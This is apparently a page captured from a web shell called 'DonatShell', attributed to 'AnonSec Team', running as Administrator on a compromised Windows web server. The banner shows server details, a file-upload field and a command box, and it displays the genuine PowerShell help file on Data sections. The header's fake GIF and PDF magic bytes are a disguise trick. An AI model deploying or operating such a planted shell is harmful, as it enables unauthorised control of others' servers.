GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SysWOW64/WindowsPowerShell/v1.0/en-US/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/SysWOW64/WindowsPowerShell/v1.0/en-US/about_Data_Sections.help.txt

ABOUT DATA SECTIONS


Short Description

Explains Data sections, which isolate text strings and other read-only data
from script logic.


Long Description

Scripts that are designed for PowerShell can have one or more Data sections
that contain only data. You can include one or more Data sections in any
script, function, or advanced function. The content of the Data section is
restricted to a specified subset of the PowerShell scripting language.

Separating data from code logic makes it easier to identify and manage both
logic and data. It lets you have separate string resource files for text,
such as error messages and Help strings. It also isolates the code logic,
which facilitates security and validation tests.

In PowerShell, the Data section is used to support script
internationalization. You can use Data sections to make it easier to
isolate, locate, and process strings that will be translated into many user
interface (UI) languages.

The Data section is a PowerShell 2.0 feature. Scripts with Data sections
will not run in PowerShell 1.0 without revision.

Syntax

The syntax for a Data section is as follows:

    DATA [<variable-name>] [-supportedCommand <cmdlet-name>] {
        <Permitted content>
    }

The Data keyword is required. It is not case-sensitive. The permitted
content is limited to the following elements:

-   All PowerShell operators, except -match

-   If, Else, and ElseIf statements

-   The following automatic variables: $PsCulture, $PsUICulture, $True,
    $False, and $Null

-   Comments

-   Pipelines

-   Statements separated by semicolons (;)

-   Literals, such as the following:

        a
        1
        1,2,3
        "PowerShell 2.0"
        @( "red", "green", "blue" )
        @{ a = 0x1; b = "great"; c ="script" }
        [XML] @'
        <p> Hello, World </p>
        '@

-   Cmdlets that are permitted in a Data section. By default, only the
    ConvertFrom-StringData cmdlet is permitted.

-   Cmdlets that you permit in a Data section by using the
    -SupportedCommand parameter.

When you use the ConvertFrom-StringData cmdlet in a Data section, you can
enclose the key-value pairs in single-quoted or double-quoted strings or in
single-quoted or double-quoted here-strings. However, strings that contain
variables and subexpressions must be enclosed in single-quoted strings or
in single-quoted here-strings so that the variables are not expanded and
the subexpressions are not executable.

-SupportedCommand

The -SupportedCommand parameter allows you to indicate that a cmdlet or
function generates only data. It is designed to allow users to include
cmdlets and functions in a data section that they have written or tested.

The value of -SupportedCommand is a comma-separated list of one or more
cmdlet or function names.

For example, the following data section includes a user-written cmdlet,
Format-XML, that formats data in an XML file:

    DATA -supportedCommand Format-Xml
    {
        Format-Xml -Strings string1, string2, string3
    }

Using a Data Section

To use the content of a Data section, assign it to a variable and use
variable notation to access the content.

For example, the following data section contains a ConvertFrom-StringData
command that converts the here-string into a hash table. The hash table is
assigned to the $TextMsgs variable.

The $TextMsgs variable is not part of the data section.

    $TextMsgs = DATA {
        ConvertFrom-StringData -StringData @'
    Text001 = Windows 7
    Text002 = Windows Server 2008 R2
    '@
    }

To access the keys and values in hash table in $TextMsgs, use the following
commands.

    $TextMsgs.Text001
    $TextMsgs.Text002

Alternately, you can put the variable name in the definition of the Data
section. For example:

    DATA TextMsgs {
        ConvertFrom-StringData -StringData @'
    Text001 = Windows 7
    Text002 = Windows Server 2008 R2
    '@
    }

    $TextMsgs

The result is the same as the previous example.

    Name                           Value
    ----                           -----
    Text001                        Windows 7
    Text002                        Windows Server 2008 R2

Examples

Simple data strings.

    DATA {
        "Thank you for using my PowerShell Organize.pst script."
        "It is provided free of charge to the community."
        "I appreciate your comments and feedback."
    }

Strings that include permitted variables.

    DATA {
        if ($null) {
            "To get help for this cmdlet, type get-help new-dictionary."
        }
    }

A single-quoted here-string that uses the ConvertFrom-StringData cmdlet:

    DATA {
        ConvertFrom-StringData -stringdata @'
    Text001 = Windows 7
    Text002 = Windows Server 2008 R2
    '@
    }

A double-quoted here-string that uses the ConvertFrom-StringData cmdlet:

    DATA  {
        ConvertFrom-StringData -stringdata @"
    Msg1 = To start, press any key.
    Msg2 = To exit, type "quit".
    "@
    }

A data section that includes a user-written cmdlet that generates data:

    DATA -supportedCommand Format-XML {
        Format-Xml -strings string1, string2, string3
    }


See Also

about_Automatic_Variables

about_Comparison_Operators

about_Hash_Tables

about_If

about_Operators

about_Quoting_Rules

about_Script_Internationalization

ConvertFrom-StringData

Import-LocalizedData

Anon7 - 2022
AnonSec Team